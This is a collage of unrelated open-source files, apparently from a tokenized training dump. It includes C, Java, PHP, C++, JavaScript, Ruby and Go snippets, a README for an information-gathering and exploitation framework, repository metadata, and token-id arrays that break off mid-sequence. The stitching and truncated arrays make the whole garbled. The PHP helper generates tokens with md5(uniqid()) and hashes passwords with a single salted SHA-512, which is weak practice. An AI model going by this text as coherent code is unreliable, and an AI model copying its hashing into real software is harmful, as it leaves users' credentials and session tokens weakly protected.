0xE6,0xF7,0xEF,0x58,0xF7,0x3B,0xEF,0x1A,0xEE,0xD9,0xFF,0x7C,0xCD,0xF3,0x73,0x08, 0x5A,0x65,0x49,0xC3,0x31,0x03,0x49,0xC6,0x49,0xC6,0x39,0x64,0x39,0x81,0x42,0x03, 0x41,0xE2,0x39,0xA2,0x49,0xC6,0x41,0xA5,0x49,0xC6,0x41,0x64,0x41,0x81,0x6A,0xC7 };
jakeware/svis
svis_teensy/dependencies/libraries/RA8875/Examples/_Teensy3/patternExample/pattern16x16.h
C
mit
2,632
[ 30522, 9530, 3367, 21318, 3372, 2620, 1035, 1056, 1035, 5418, 16048, 2595, 16048, 1031, 24406, 1033, 1027, 1063, 1014, 2595, 2546, 2620, 1010, 1014, 2595, 8889, 1010, 1014, 2595, 2546, 2620, 1010, 1014, 2595, 8889, 1010, 1014, 2595, 2546, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/** *============================================================================ * Copyright The Ohio State University Research Foundation, The University of Chicago - * Argonne National Laboratory, Emory University, SemanticBits LLC, and * Ekagra Software Technologies Ltd. * * Distributed under the OSI-approved BSD 3-Clause License. * See http://ncip.github.com/cagrid-core/LICENSE.txt for details. *============================================================================ **/ package org.cagrid.tests.data.styles.cacore42.story; import gov.nih.nci.cagrid.common.Utils; import java.io.File; import junit.framework.TestResult; import junit.framework.TestSuite; import junit.textui.TestRunner; import org.apache.commons.logging.Log; import org.apache.commons.logging.LogFactory; import org.junit.AfterClass; import org.junit.BeforeClass; import org.junit.Test; public class SDK42DataServiceSystemTests { private static Log LOG = LogFactory.getLog(SDK42DataServiceSystemTests.class); private static File tempApplicationDir; @BeforeClass public static void setUp() throws Throwable { // create a temporary directory for the SDK application to package things in tempApplicationDir = File.createTempFile("SdkExample", "temp"); tempApplicationDir.delete(); tempApplicationDir.mkdirs(); LOG.debug("Created temp application base dir: " + tempApplicationDir.getAbsolutePath()); // throw out the ivy cache dirs used by the SDK LOG.debug("Destroying SDK ivy cache"); NukeIvyCacheStory nukeStory = new NukeIvyCacheStory(); nukeStory.runBare(); // create the caCORE SDK example project LOG.debug("Running caCORE SDK example project creation story"); CreateExampleProjectStory createExampleStory = new CreateExampleProjectStory(tempApplicationDir, false); createExampleStory.runBare(); } @Test public void localSDKApiTests() throws Throwable { // create and run a caGrid Data Service using the SDK's local API LOG.debug("Running data service using local API story"); SDK42StyleLocalApiStory localApiStory = new SDK42StyleLocalApiStory(false, false); localApiStory.runBare(); } @Test public void secureLocalSDKApiTests() throws Throwable { // create and run a secure caGrid Data Service using the SDK's local API LOG.debug("Running secure data service using local API story"); SDK42StyleLocalApiStory secureLocalApiStory = new SDK42StyleLocalApiStory(true, false); secureLocalApiStory.runBare(); } @Test public void remoteSDKApiTests() throws Throwable { // create and run a caGrid Data Service using the SDK's remote API LOG.debug("Running data service using remote API story"); SDK42StyleRemoteApiStory remoteApiStory = new SDK42StyleRemoteApiStory(false); remoteApiStory.runBare(); } @Test public void secureRemoteSDKApiTests() throws Throwable { // create and run a secure caGrid Data Service using the SDK's remote API LOG.debug("Running secure data service using remote API story"); SDK42StyleRemoteApiStory secureRemoteApiStory = new SDK42StyleRemoteApiStory(true); secureRemoteApiStory.runBare(); } @Test public void localSDKApiWithCsmTests() throws Throwable { LOG.debug("Running caCORE SDK example project with CSM creation story"); CreateExampleProjectStory createExampleWithCsmStory = new CreateExampleProjectStory(tempApplicationDir, true); createExampleWithCsmStory.runBare(); // create and run a caGrid Data Service using the SDK's local API LOG.debug("Running secure data service using local API and CSM story"); SDK42StyleLocalApiStory localApiWithCsmStory = new SDK42StyleLocalApiStory(true, true); localApiWithCsmStory.runBare(); } @AfterClass public static void cleanUp() { LOG.debug("Cleaning up after tests"); // throw away the temp sdk dir LOG.debug("Deleting temp application base dir: " + tempApplicationDir.getAbsolutePath()); Utils.deleteDir(tempApplicationDir); } public static void main(String[] args) { TestRunner runner = new TestRunner(); TestResult result = runner.doRun(new TestSuite(SDK42DataServiceSystemTests.class)); System.exit(result.errorCount() + result.failureCount()); } }
NCIP/cagrid-core
integration-tests/projects/sdk42StyleTests/src/org/cagrid/tests/data/styles/cacore42/story/SDK42DataServiceSystemTests.java
Java
bsd-3-clause
4,639
[ 30522, 1013, 1008, 1008, 1008, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 102...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
<?php namespace AuthBundle\Helper; /** * Class Generator * @package AuthBundle\Helper */ class Generator { /** * Generate salt that is used to encrypt password * * @return string */ public static function generateSalt() { return uniqid(mt_rand(), true); } /** * Generate token. * * @return string */ public static function generateToken() { return md5(uniqid("", true)); } /** * Generate encrypted password * * @param $salt * @param $secret * @param $password * @return string */ public static function hash($salt, $secret, $password) { return hash('sha512', $salt . $secret . $password); } }
darijuxs/AuthBundle
Helper/Generator.php
PHP
mit
747
[ 30522, 1026, 1029, 25718, 3415, 15327, 8740, 2705, 27265, 2571, 1032, 2393, 2121, 1025, 1013, 1008, 1008, 1008, 2465, 13103, 1008, 1030, 7427, 8740, 2705, 27265, 2571, 1032, 2393, 2121, 1008, 1013, 2465, 13103, 1063, 1013, 1008, 1008, 1008,...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
//////////////////////////////////////////////////////////////////////////////// /// @brief version request handler /// /// @file /// /// DISCLAIMER /// /// Copyright 2014 ArangoDB GmbH, Cologne, Germany /// Copyright 2004-2014 triAGENS GmbH, Cologne, Germany /// /// Licensed under the Apache License, Version 2.0 (the "License"); /// you may not use this file except in compliance with the License. /// You may obtain a copy of the License at /// /// http://www.apache.org/licenses/LICENSE-2.0 /// /// Unless required by applicable law or agreed to in writing, software /// distributed under the License is distributed on an "AS IS" BASIS, /// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. /// See the License for the specific language governing permissions and /// limitations under the License. /// /// Copyright holder is ArangoDB GmbH, Cologne, Germany /// /// @author Achim Brandt /// @author Copyright 2014, ArangoDB GmbH, Cologne, Germany /// @author Copyright 2010-2014, triAGENS GmbH, Cologne, Germany //////////////////////////////////////////////////////////////////////////////// #ifndef ARANGODB_ADMIN_REST_VERSION_HANDLER_H #define ARANGODB_ADMIN_REST_VERSION_HANDLER_H 1 #include "Basics/Common.h" #include "Admin/RestBaseHandler.h" #include "Rest/HttpResponse.h" namespace triagens { namespace admin { // ----------------------------------------------------------------------------- // --SECTION-- class RestVersionHandler // ----------------------------------------------------------------------------- //////////////////////////////////////////////////////////////////////////////// /// @brief version request handler //////////////////////////////////////////////////////////////////////////////// class RestVersionHandler : public RestBaseHandler { // ----------------------------------------------------------------------------- // --SECTION-- constructors and destructors // ----------------------------------------------------------------------------- public: //////////////////////////////////////////////////////////////////////////////// /// @brief constructor //////////////////////////////////////////////////////////////////////////////// RestVersionHandler (rest::HttpRequest*); // ----------------------------------------------------------------------------- // --SECTION-- Handler methods // ----------------------------------------------------------------------------- public: //////////////////////////////////////////////////////////////////////////////// /// {@inheritDoc} //////////////////////////////////////////////////////////////////////////////// bool isDirect (); //////////////////////////////////////////////////////////////////////////////// /// {@inheritDoc} //////////////////////////////////////////////////////////////////////////////// std::string const& queue () const; //////////////////////////////////////////////////////////////////////////////// /// @brief returns the server version number //////////////////////////////////////////////////////////////////////////////// status_t execute (); // ----------------------------------------------------------------------------- // --SECTION-- private variables // ----------------------------------------------------------------------------- private: //////////////////////////////////////////////////////////////////////////////// /// @brief name of the queue //////////////////////////////////////////////////////////////////////////////// static const std::string QUEUE_NAME; }; } } #endif // ----------------------------------------------------------------------------- // --SECTION-- END-OF-FILE // ----------------------------------------------------------------------------- // Local Variables: // mode: outline-minor // outline-regexp: "/// @brief\\|/// {@inheritDoc}\\|/// @page\\|// --SECTION--\\|/// @\\}" // End:
morsdatum/ArangoDB
lib/Admin/RestVersionHandler.h
C
apache-2.0
4,190
[ 30522, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 101...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
$.FAQ = function(){ $self = this; this.url = "/faq" this.send = function(inputs){ var params = new FormData(); // var csrf = $("#csrf").val(); // params.append("csrf_ID", csrf); $.each(inputs, function(key, val){ params.append(key,val); }); $.ajax({ url : $self.url, type: 'POST', async: true, processData: false, data: params, success: function(response){ response = JSON.parse(response); $self.fillQAs(response.qadata); $self.createPagination(response.metadata) }, }); }; this.fillQAs = function(data){ var qaBox = $("#faq-container .faq-item").clone(); $("#faq-container .faq-item").remove(); $.each(data, function(obj){ var $div = qaBox.clone(); $div.find(".faq-item-question h2").html(obj.question); $div.find(".faq-item-answer p").html(obj.answer); }); }; this.createPagination = function(metadata){ }; this.load = function(data){ var limit = (data.limit > 0) ? data.limit : 5; var offset = (data.page_num - 1)*limit; var inputs = { action : 'loadFaq', limit : limit, offset : offset }; $self.send(inputs); }; this.init = function(){ var inputs = { limit : 5, page_num : 1 }; $self.load(inputs); }; };
ajaykiet2/htdocs
assets/js/website/faq.js
JavaScript
apache-2.0
1,284
[ 30522, 1002, 1012, 6904, 4160, 1027, 3853, 1006, 1007, 1063, 1002, 2969, 1027, 2023, 1025, 2023, 1012, 24471, 2140, 1027, 1000, 1013, 6904, 4160, 1000, 2023, 1012, 4604, 1027, 3853, 1006, 20407, 1007, 1063, 13075, 11498, 5244, 1027, 2047, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
# -*- coding: utf-8 -*- module Gtk # message_detail_viewプラグインなどで使われている、ヘッダ部分のユーザ情報。 # コンストラクタにはUserではなくMessageなど、userを保持しているDivaを渡すことに注意。 # このウィジェットによって表示されるタイムスタンプをクリックすると、 # コンストラクタに渡されたModelのperma_linkを開くようになっている。 class DivaHeaderWidget < Gtk::EventBox extend Memoist def initialize(model, *args, intent_token: nil) type_strict model => Diva::Model super(*args) ssc_atonce(:visibility_notify_event, &widget_style_setter) add(Gtk::VBox.new(false, 0). closeup(Gtk::HBox.new(false, 0). closeup(icon(model.user).top). closeup(Gtk::VBox.new(false, 0). closeup(idname(model.user).left). closeup(Gtk::Label.new(model.user[:name]).left))). closeup(post_date(model, intent_token).right)) end private def background_color style = Gtk::Style.new() style.set_bg(Gtk::STATE_NORMAL, 0xFFFF, 0xFFFF, 0xFFFF) style end def icon(user) icon_alignment = Gtk::Alignment.new(0.5, 0, 0, 0) .set_padding(*[UserConfig[:profile_icon_margin]]*4) icon = Gtk::EventBox.new. add(icon_alignment.add(Gtk::WebIcon.new(user.icon_large, UserConfig[:profile_icon_size], UserConfig[:profile_icon_size]))) icon.ssc(:button_press_event, &icon_opener(user.icon_large)) icon.ssc_atonce(:realize, &cursor_changer(Gdk::Cursor.new(Gdk::Cursor::HAND2))) icon.ssc_atonce(:visibility_notify_event, &widget_style_setter) icon end def idname(user) label = Gtk::EventBox.new. add(Gtk::Label.new. set_markup("<b><u><span foreground=\"#0000ff\">#{Pango.escape(user.idname)}</span></u></b>")) label.ssc(:button_press_event, &profile_opener(user)) label.ssc_atonce(:realize, &cursor_changer(Gdk::Cursor.new(Gdk::Cursor::HAND2))) label.ssc_atonce(:visibility_notify_event, &widget_style_setter) label end def post_date(model, intent_token) label = Gtk::EventBox.new. add(Gtk::Label.new(model.created.strftime('%Y/%m/%d %H:%M:%S'))) label.ssc(:button_press_event, &(intent_token ? intent_forwarder(intent_token) : message_opener(model))) label.ssc_atonce(:realize, &cursor_changer(Gdk::Cursor.new(Gdk::Cursor::HAND2))) label.ssc_atonce(:visibility_notify_event, &widget_style_setter) label end def icon_opener(url) proc do Plugin.call(:open, url) true end end def profile_opener(user) type_strict user => Diva::Model proc do Plugin.call(:open, user) true end end def intent_forwarder(token) proc do token.forward true end end def message_opener(token) proc do Plugin.call(:open, token) true end end memoize def cursor_changer(cursor) proc do |w| w.window.cursor = cursor false end end memoize def widget_style_setter ->(widget, *_rest) do widget.style = background_color false end end end RetrieverHeaderWidget = DivaHeaderWidget end
katsyoshi/mikutter
core/mui/gtk_retriever_header_widget.rb
Ruby
mit
3,407
[ 30522, 1001, 1011, 1008, 1011, 16861, 1024, 21183, 2546, 1011, 1022, 1011, 1008, 1011, 11336, 14181, 2243, 1001, 4471, 1035, 6987, 1035, 3193, 30246, 30257, 30228, 30221, 30263, 30193, 30192, 30191, 100, 100, 1635, 1721, 30237, 30235, 1960, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
const Hapi = require('hapi'); const Request = require('request'); const port = process.env.PORT || 8080; const server = new Hapi.Server(); const cephalopods = 'http://api.gbif.org/v1/species/136'; server.connection({ port: port, host: '0.0.0.0' }); server.route({ method: 'GET', path: '/', handler: function (request, reply) { Request(cephalopods, function (err, response, body) { return reply(body); }); } }); server.start(function () { console.log('Server started on ' + port); });
nvcexploder/fishy-nodevember
index.js
JavaScript
mit
545
[ 30522, 9530, 3367, 5292, 8197, 1027, 5478, 1006, 1005, 5292, 8197, 1005, 1007, 1025, 9530, 3367, 5227, 1027, 5478, 1006, 1005, 5227, 1005, 1007, 1025, 9530, 3367, 3417, 1027, 2832, 1012, 4372, 2615, 1012, 3417, 1064, 1064, 3770, 17914, 10...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
# intelengine ## Introduction intelengine aims to be an information gathering and exploitation architecture, it is based on the use of transforms, that convert one data type into another. For instance, a simple transform would be obtaining a list of domains from an IP address or a location history from a twitter nickname. ## Main goals The main goals of intelengine can be summarized in: * Simplicity * Modularity * Scalability * RESTful * Programming language agnostic ## Architecture intelengine consists in a client-server architecture. **intelsrv**, the server component, is an HTTP server that exposes a REST API, that allows the communication between server and clients. The mission of intelsrv is handling execution flows and distribute tasks between the different intelworker present in the architecture. Besides that, it also taskes care of error handling, concurrency and caching **intelworker**, the worker component is responsible for executing the commands issued by clients and transmit their results back to intelsrv. intelworker is designed to be programming language agnostic, so commands can be coded using any language that can read from STDIN and write to STDOUT. Finally, the **client** can be any program able to interact with the intelsrv's REST API. It is important to note that the communication between the different instances of intelserver and intelworker is carried out via a message broker using the amqp protocol. ``` +--------+ http +------------+ amqp +--------+ amqp +---------------+ | client |----+---->| intelsrv_1 |----+---->| BROKER |----+---->| intelworker_1 | +--------+ | +------------+ | +--------+ | +---------------+ | +------------+ | | +---------------+ +---->| intelsrv_2 |----+ +---->| intelworker_2 | | +------------+ | | +---------------+ | +------------+ | | +---------------+ +---->| intelsrv_n |----+ +---->| intelworker_m | +------------+ +---------------+ ``` ## Commands Commands live with intelworker and are splitted in two parts: * **Definition file** (cmd file) * **Implementation** (standalone executable) The command **definition file** is a JSON file that defines how the command is called. It must include the following information: * **Description**: Description of the command functionality * **Path**: Path of the executable that will be called when the command is executed * **Args**: Arguments passed to the executable when it is called * **Input**: Type of the input data * **Output**: Type of the output data * **Parameters**: Structure describing the type of the accepted parameters * **Group**: Command category The following snippet shows a dummy cmd file: ```json { "Description": "echo request's body", "Cmd": "cat", "Args": [], "Input": "", "Output": "", "Parameters": "", "Group": "debug" } ``` Also, the definition files must have the extension ".cmd", being the name of the command the name of the file without this extension. The command's **implementation** is an standalone executable that implements the command's functionality. By convention, it must wait for JSON input via STDIN and write its output in JSON format to STDOUT. Also, it must exit with the return value 0 when the execution finished correctly, or any other value on error. The input of the command is the body of the POST request sent to the intelsrv's path "/cmd/exec/\<cmdname\>". When the users makes this request, an unique ID will be generated and returned in the response. This way it is possible to retrieve the result of the command sending a GET request to "/cmd/result/\<uuid\>", being the output of the command returned to the client in the response body. If the command exited with error, this error will be returned in the "Error" field within the JSON response. Commands must take care of the input and output types specified in their definition file. Also, input and output must be treated as arrays of those types. For instance, if the input type is "IP", the command should expect an array of IPs as input. Due to these design principles, commands can be implemented in any programming language that can read from STDIN and write to STDOUT. ## Transforms vs Commands The word **command** was chosen rather than **transform**, because a transform can be considered as a particular class of command. It's important to take into account that intelengine is not only aimed at being used for data gathering but also for exploitation, crawlering, etc. ## intelsrv's routes The following routes are configured by default: * **GET /cmd/list**: List supported commands * **POST /cmd/exec/\<cmdname\>**: Execute the command \<cmdname\> * **GET /cmd/result/\<uuid\>**: Retrieve the result of the command linked to the UUID \<uuid\>
jroimartin/intelengine
README.md
Markdown
bsd-3-clause
5,004
[ 30522, 1001, 13420, 13159, 3170, 1001, 1001, 4955, 13420, 13159, 3170, 8704, 2000, 2022, 2019, 2592, 7215, 1998, 14427, 4294, 1010, 2009, 2003, 2241, 2006, 1996, 2224, 1997, 21743, 1010, 2008, 10463, 2028, 2951, 2828, 2046, 2178, 1012, 2005...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
// Copyright (c) 2020 The Open-Transactions developers // This Source Code Form is subject to the terms of the Mozilla Public // License, v. 2.0. If a copy of the MPL was not distributed with this // file, You can obtain one at http://mozilla.org/MPL/2.0/. #ifndef OPENTXS_PROTO_LISTENADDRESS_HPP #define OPENTXS_PROTO_LISTENADDRESS_HPP #include "VerifyContracts.hpp" namespace opentxs { namespace proto { OPENTXS_PROTO_EXPORT bool CheckProto_1( const ListenAddress& address, const bool silent); OPENTXS_PROTO_EXPORT bool CheckProto_2(const ListenAddress&, const bool); OPENTXS_PROTO_EXPORT bool CheckProto_3(const ListenAddress&, const bool); OPENTXS_PROTO_EXPORT bool CheckProto_4(const ListenAddress&, const bool); OPENTXS_PROTO_EXPORT bool CheckProto_5(const ListenAddress&, const bool); OPENTXS_PROTO_EXPORT bool CheckProto_6(const ListenAddress&, const bool); OPENTXS_PROTO_EXPORT bool CheckProto_7(const ListenAddress&, const bool); OPENTXS_PROTO_EXPORT bool CheckProto_8(const ListenAddress&, const bool); OPENTXS_PROTO_EXPORT bool CheckProto_9(const ListenAddress&, const bool); OPENTXS_PROTO_EXPORT bool CheckProto_10(const ListenAddress&, const bool); OPENTXS_PROTO_EXPORT bool CheckProto_11(const ListenAddress&, const bool); OPENTXS_PROTO_EXPORT bool CheckProto_12(const ListenAddress&, const bool); OPENTXS_PROTO_EXPORT bool CheckProto_13(const ListenAddress&, const bool); OPENTXS_PROTO_EXPORT bool CheckProto_14(const ListenAddress&, const bool); OPENTXS_PROTO_EXPORT bool CheckProto_15(const ListenAddress&, const bool); OPENTXS_PROTO_EXPORT bool CheckProto_16(const ListenAddress&, const bool); OPENTXS_PROTO_EXPORT bool CheckProto_17(const ListenAddress&, const bool); OPENTXS_PROTO_EXPORT bool CheckProto_18(const ListenAddress&, const bool); OPENTXS_PROTO_EXPORT bool CheckProto_19(const ListenAddress&, const bool); OPENTXS_PROTO_EXPORT bool CheckProto_20(const ListenAddress&, const bool); } // namespace proto } // namespace opentxs #endif // OPENTXS_PROTO_LISTENADDRESS_HPP
Open-Transactions/opentxs-proto
include/opentxs-proto/verify/ListenAddress.hpp
C++
mpl-2.0
2,014
[ 30522, 1013, 1013, 9385, 1006, 1039, 1007, 12609, 1996, 2330, 1011, 11817, 9797, 1013, 1013, 2023, 3120, 3642, 2433, 2003, 3395, 2000, 1996, 3408, 1997, 1996, 9587, 5831, 4571, 2270, 1013, 1013, 6105, 1010, 1058, 1012, 1016, 1012, 1014, 1...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
package models import ( "time" ) type Collection struct { Id int64 `json:"id"` Name string `json:"name"` Created time.Time `json:"created"` Modified time.Time `json:"modified"` Albums []Album `json:"albums"` }
karousel/karousel
models/collection.go
GO
unlicense
240
[ 30522, 7427, 4275, 12324, 1006, 1000, 2051, 1000, 1007, 2828, 3074, 2358, 6820, 6593, 1063, 8909, 20014, 21084, 1036, 1046, 3385, 1024, 1000, 8909, 1000, 1036, 2171, 5164, 1036, 1046, 3385, 1024, 1000, 2171, 1000, 1036, 2580, 2051, 1012, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
